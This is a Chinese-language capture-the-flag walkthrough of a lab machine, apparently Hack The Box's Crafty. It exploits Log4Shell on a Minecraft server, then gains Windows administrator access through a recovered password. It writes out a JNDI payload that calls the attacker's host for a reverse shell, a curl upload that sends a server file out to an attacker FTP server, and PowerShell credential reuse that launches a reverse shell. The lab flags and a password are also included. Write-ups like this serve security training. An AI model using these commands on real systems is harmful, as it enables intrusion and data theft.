[Meachines][Easy]Crafty
字数 1152 2025-08-19 12:42:26

Log4j漏洞利用与Minecraft服务器提权实战指南

1. 目标识别与信息收集

1.1 初始扫描

使用Nmap进行快速扫描,识别开放端口和服务:

sudo nmap -p- -sS -T4 10.10.11.249

发现关键端口:

  • 25565端口:Minecraft服务器默认端口

1.2 主机解析配置

将目标主机名添加到本地hosts文件:

echo "10.10.11.249 crafty.htb" >> /etc/hosts

2. 漏洞分析与利用准备

2.1 漏洞背景

CVE-2021-44228 (Log4Shell)

  • 影响Apache Log4j日志库
  • 允许通过JNDI查询机制远程执行代码
  • 影响版本:2.0-beta9到2.14.1

2.2 利用工具准备

  1. 下载log4j漏洞利用工具:
git clone https://github.com/kozmer/log4j-shell-poc
cd log4j-shell-poc
  1. 修改POC脚本(针对Windows目标):
vim log4j-shell-poc
# 将/bin/bash改为cmd.exe
  1. 准备Java环境:
wget https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz
tar -zxf jdk-8u181-linux-x64.tar.gz
mv jdk1.8.0_181 jdk1.8.0_20

2.3 Minecraft客户端准备

  1. 下载TLauncher:
wget -O TLauncher-2.899.zip https://tlauncher.org/jar
unzip TLauncher-2.899.zip
  1. 启动客户端并选择版本:
java -jar TLauncher-2.899.jar
# 选择1.16.5版本进行下载

3. 漏洞利用与初始访问

3.1 启动漏洞利用服务

python3 poc.py --userip 10.10.16.23 --webport 8200 --lport 10032

3.2 设置监听器

nc -lvnp 10032

3.3 触发漏洞

在Minecraft游戏中:

  1. 进入多人游戏
  2. T键打开聊天框
  3. 输入payload:
${jndi:ldap://10.10.16.23:1389/a}

成功获取反向shell后,获取用户flag:

dir C:\Users\svc_minecraft\Desktop
type C:\Users\svc_minecraft\Desktop\user.txt
# fa3ee28076b9040712a643b7f1c0b67e

4. 权限提升

4.1 发现关键文件

在服务器目录中发现可疑jar包:

plugins/playercounter-1.0-SNAPSHOT.jar

4.2 文件传输方法

由于无法直接写入IIS目录,使用curl+FTP传输文件:

  1. 在Kali上设置FTP服务器:
pip3 install pyftpdlib
mkdir ftp_temp; cd ftp_temp
python3 -m pyftpdlib -w -u martin -P martin -p 21
  1. 从目标服务器下载jar文件:

在目标服务器上执行:

curl -T c:\users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar -u martin:martin ftp://10.10.16.23/

4.3 分析jar文件

使用JD-GUI工具分析:

sudo apt install jd-gui
jd-gui

发现RCON密码:s67u84zKq8IXw

4.4 权限提升方法

方法一:使用runas命令

cmdkey /list  # 查看存储的凭据
runas /env /noprofile /savecred /user:JUGG-efrost\administrator "cmd.exe /c whoami > whoami.txt"

方法二:PowerShell凭证传递

  1. 准备反向shell脚本reverse.ps1
  2. 通过FTP上传到目标
  3. 在目标上执行:
$secpasswd = ConvertTo-SecureString "s67u84zKq8IXw" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("Administrator", $secpasswd)
Start-Process -FilePath powershell.exe -argumentlist ".\reverse.ps1" -Credential $mycreds

成功获取管理员权限后,获取root flag:

499d7b2f787007256ecb549acaa96c25

5. 附录:实用工具

5.1 Windows提权工具

  1. WinPEAS

    • 自动收集系统信息并检查安全漏洞
    • 下载:https://github.com/peass-ng/PEASS-ng/releases
  2. Seatbelt

    • Windows主机安全审计工具
    • 下载:https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
  3. JAWS

    • PowerShell枚举脚本
    • 下载:https://github.com/411Hall/JAWS

5.2 技术要点解析

  1. SecureString

    • PowerShell中存储敏感信息的数据类型
    • 以加密方式存储在内存中,使用后立即清除
  2. PSCredential

    • 封装用户名和密码的凭据对象
    • 用于需要认证的操作如远程连接、进程启动
  3. Start-Process

    • 启动新进程并指定凭据
    • 可用于以不同用户身份执行命令
Log4j漏洞利用与Minecraft服务器提权实战指南 1. 目标识别与信息收集 1.1 初始扫描 使用Nmap进行快速扫描,识别开放端口和服务: 发现关键端口: 25565端口:Minecraft服务器默认端口 1.2 主机解析配置 将目标主机名添加到本地hosts文件: 2. 漏洞分析与利用准备 2.1 漏洞背景 CVE-2021-44228 (Log4Shell) : 影响Apache Log4j日志库 允许通过JNDI查询机制远程执行代码 影响版本:2.0-beta9到2.14.1 2.2 利用工具准备 下载log4j漏洞利用工具: 修改POC脚本(针对Windows目标): 准备Java环境: 2.3 Minecraft客户端准备 下载TLauncher: 启动客户端并选择版本: 3. 漏洞利用与初始访问 3.1 启动漏洞利用服务 3.2 设置监听器 3.3 触发漏洞 在Minecraft游戏中: 进入多人游戏 按 T 键打开聊天框 输入payload: 成功获取反向shell后,获取用户flag: 4. 权限提升 4.1 发现关键文件 在服务器目录中发现可疑jar包: 4.2 文件传输方法 由于无法直接写入IIS目录,使用curl+FTP传输文件: 在Kali上设置FTP服务器: 从目标服务器下载jar文件: 在目标服务器上执行: 4.3 分析jar文件 使用JD-GUI工具分析: 发现RCON密码: s67u84zKq8IXw 4.4 权限提升方法 方法一:使用runas命令 方法二:PowerShell凭证传递 准备反向shell脚本 reverse.ps1 通过FTP上传到目标 在目标上执行: 成功获取管理员权限后,获取root flag: 5. 附录:实用工具 5.1 Windows提权工具 WinPEAS : 自动收集系统信息并检查安全漏洞 下载:https://github.com/peass-ng/PEASS-ng/releases Seatbelt : Windows主机安全审计工具 下载:https://github.com/r3motecontrol/Ghostpack-CompiledBinaries JAWS : PowerShell枚举脚本 下载:https://github.com/411Hall/JAWS 5.2 技术要点解析 SecureString : PowerShell中存储敏感信息的数据类型 以加密方式存储在内存中,使用后立即清除 PSCredential : 封装用户名和密码的凭据对象 用于需要认证的操作如远程连接、进程启动 Start-Process : 启动新进程并指定凭据 可用于以不同用户身份执行命令